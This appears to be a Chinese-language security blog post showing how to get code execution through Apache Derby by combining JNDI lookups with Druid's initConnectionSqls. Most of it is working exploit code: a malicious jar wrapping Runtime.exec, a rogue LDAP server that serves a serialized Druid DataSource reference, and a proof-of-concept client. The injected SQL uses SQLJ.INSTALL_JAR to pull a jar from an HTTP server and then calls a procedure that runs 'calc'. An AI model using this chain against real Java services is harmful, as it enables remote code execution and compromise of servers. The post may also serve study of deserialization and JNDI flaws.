Derby
1diot9 Lv5

也是想办法执行初始化sql语句。不过这个不像h2一样,可以在URL里直接用INIT参数。这个需要配合JNDI+Druid。DruidDataSourceFactory里面有initConnectionSqls字段,并且可以在JNDI时设置,从而实现初始化sql。

先写恶意jar包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.example;

import java.io.IOException;

public class Runtime {
public static void exec(String cmd) {
try {
java.lang.Runtime.getRuntime().exec(cmd);
System.out.println("cmd executed successfully");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

javac .\src\main\java\com\example\Runtime.java

jar -cvf Runtime.jar .src\ .

python -m http.server 8088

然后写恶意ldap服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
package com.example.server;

import com.example.solution.Tools17;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;


// jndi 绕过 jdk8u191 之前的攻击
public class JNDILdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8088/poc.sql";
int port = 1388;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( ) {
// this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);

e.addAttribute("javaClassName", "foo");
try {
List<String> list = new ArrayList<>();
list.add("CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/Runtime.jar', 'APP.Runtime', 0)");
list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Runtime')");

// list.add("CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'com.example.Runtime.exec'");
// list.add("CALL SALES.TOTAL_REVENUES()");

list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'com.example.Runtime.exec'");
list.add("CALL cmd('calc')");

Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
ref.add(new StringRefAddr("url", "jdbc:derby:mydb;create=true"));
ref.add(new StringRefAddr("init", "true"));
ref.add(new StringRefAddr("initialSize", "1"));
ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));

e.addAttribute("javaSerializedData", Tools17.ser(ref));

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception exception) {
exception.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

最后写poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.example.solution;

import com.alibaba.druid.pool.DruidDataSource;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Poc {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
String url = "ldap://localhost:1388/anything";
Object lookup = initialContext.lookup(url);
}
}
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 182.7k 访客数 访问量